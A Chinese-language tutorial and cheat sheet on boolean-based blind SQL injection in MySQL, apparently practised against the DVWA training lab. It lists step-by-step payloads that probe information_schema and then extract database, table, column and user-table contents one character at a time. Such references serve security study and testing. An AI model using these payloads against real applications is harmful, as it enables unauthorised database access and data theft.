什么是盲注?
基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。
这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。
常用语句汇总
查询所有数据库
1.判断表存不存在
1 | and exists(select * from information_schema.tables) |
2.判断存在多少个库
1 | and (select count(distinct+table_schema) from information_schema.tables)>4 |
3.判断库名的长度
1 | and (select length(table_schema) from information_schema.tables limit 0,1) >17 |
4.接下来爆每个库的库名
1 | and (select ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),1,1)))>104 |
5.猜表,首先判断表的长度
1 | and (select length(table_name) from information_schema.tables where table_schema='information_schema' limit 0,1) >13 |
6.判断完表的长度之后就要开始猜解表的字符
1 | and (select ascii(substr((select table_name from information_schema.tables where table_schema='information_schema' limit 0,1),1,1))) >66 |
7.再接下来猜解表里边的字段即列,首先统计一下有多少个字段
1 | and (select count(column_name) from information_schema.columns where table_schema='information_schema' and table_name='CHARACTER_SETS' ) >4 |
8.判断每个字段的长度
1 | and (select length(column_name) from information_schema.columns where table_schema='information_schema' and table_name='CHARACTER_SETS' limit 0,1 ) >17 |
9.接下来猜第一个字段的字符
1 | and (select ascii(substr((select column_name from information_schema.columns where table_schema='information_schema' and table_name='CHARACTER_SETS' limit 0,1),1,1)) ) >66 |
查询当前数据库
1.查询数据库的长度
1 | and length(database()) > 4 |
2.查询数据库名
1 | and ascii(substr((select database()),1,1)) > 99 |
3.查询表名的长度
1 | and (select(length(table_name)) from information_schema.tables where table_schema = 0x64767761 limit 0,1) > 8+--+ |
4.查询表名
1 | and ascii(substr((select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1),1,1)) > 116 |
5.查询列名的长度
1 | and (select(length(column_name)) from information_schema.columns where table_name = 0x7573657273 limit 0,1) > 6 |
6.查询列名
1 | and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1,1)) > 116 |
7.查询字段的长度
1 | and (select length(column_name) from information_schema.columns where table_name=0x7573657273 limit 1,1 ) >10 |
8.爆出字段
1 | and ascii(substr((select user from dvwa.users limit 0,1),1,1)) > 96 |